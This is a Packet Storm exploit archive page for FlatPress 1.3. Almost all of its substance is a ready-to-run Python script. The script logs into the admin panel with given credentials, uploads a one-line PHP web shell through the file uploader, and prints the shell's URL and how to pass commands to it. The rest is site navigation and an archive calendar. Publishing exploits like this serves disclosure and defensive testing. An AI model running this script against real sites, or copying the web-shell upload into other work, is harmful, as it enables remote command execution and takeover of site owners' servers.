exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

FlatPress 1.3 Shell Upload

FlatPress 1.3 Shell Upload
Posted Apr 19, 2024
Authored by Ahmet Umit Bayram

FlatPress version 1.3 suffers from a remote shell upload vulnerability.

tags | exploit, remote, shell
SHA-256 | 95b37bcd0ee004b10ed07d1d5449e20f0b6c896143d3d34e105388324e4c71e6

FlatPress 1.3 Shell Upload

Change Mirror Download
# Exploit Title: FlatPress v1.3 - Remote Command Execution
# Discovered by: Ahmet Ümit BAYRAM
# Discovered Date: 19.04.2024
# Vendor Homepage: https://www.flatpress.org
# Software Link: https://github.com/flatpressblog/flatpress/archive/1.3.zip
# Tested Version: 1.3 (latest)
# Tested on: MacOS

import requests
import time
import random
import string

def random_string(length=5):
"""Rastgele bir string oluşturur."""
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(length))

def login_and_upload(base_url, username, password):
filename = random_string() + ".php"
login_url = f"http://{base_url}/login.php"
upload_url = f"http://{base_url}/admin.php?p=uploader&action=default"

with requests.Session() as session:
# Exploiting
print("Exploiting...")
time.sleep(1)

# Giriş yapma denemesi
login_data = {
'user': username,
'pass': password,
'submit': 'Login'
}
print("Logging in...")
response = session.post(login_url, data=login_data)
time.sleep(1)

if "Logout" in response.text:
print("Login Successful!")
else:
print("Login Failed!")
print(response.text)
return

# Dosya yükleme denemesi
print("Shell uploading...")
time.sleep(1)

# Form verileri ve dosyalar
files = {
'upload[]': (filename, '<?=`$_GET[0]`?>', 'text/php'),
}
form_data = {
'_wpnonce': '9e0ed04260',
'_wp_http_referer': '/admin.php?p=uploader',
'upload': 'Upload'
}

response = session.post(upload_url, files=files, data=form_data)

if "File(s) uploaded" in response.text or "Upload" in response.text:
shell_url = f"http://{base_url}/fp-content/attachs/{filename}"
print(f"Your Shell is Ready: {shell_url}")
time.sleep(1)
print(f"Shell Usage: {shell_url}?0=command")
else:
print("Exploit Failed!")
print(response.status_code, response.text)

# Örnek kullanım: python script.py siteadi.com username password
if __name__ == "__main__":
import sys
if len(sys.argv) != 4:
print("Usage: script.py <base_url> <username> <password>")
else:
base_url, username, password = sys.argv[1:]
login_and_upload(base_url, username, password)

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    0 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close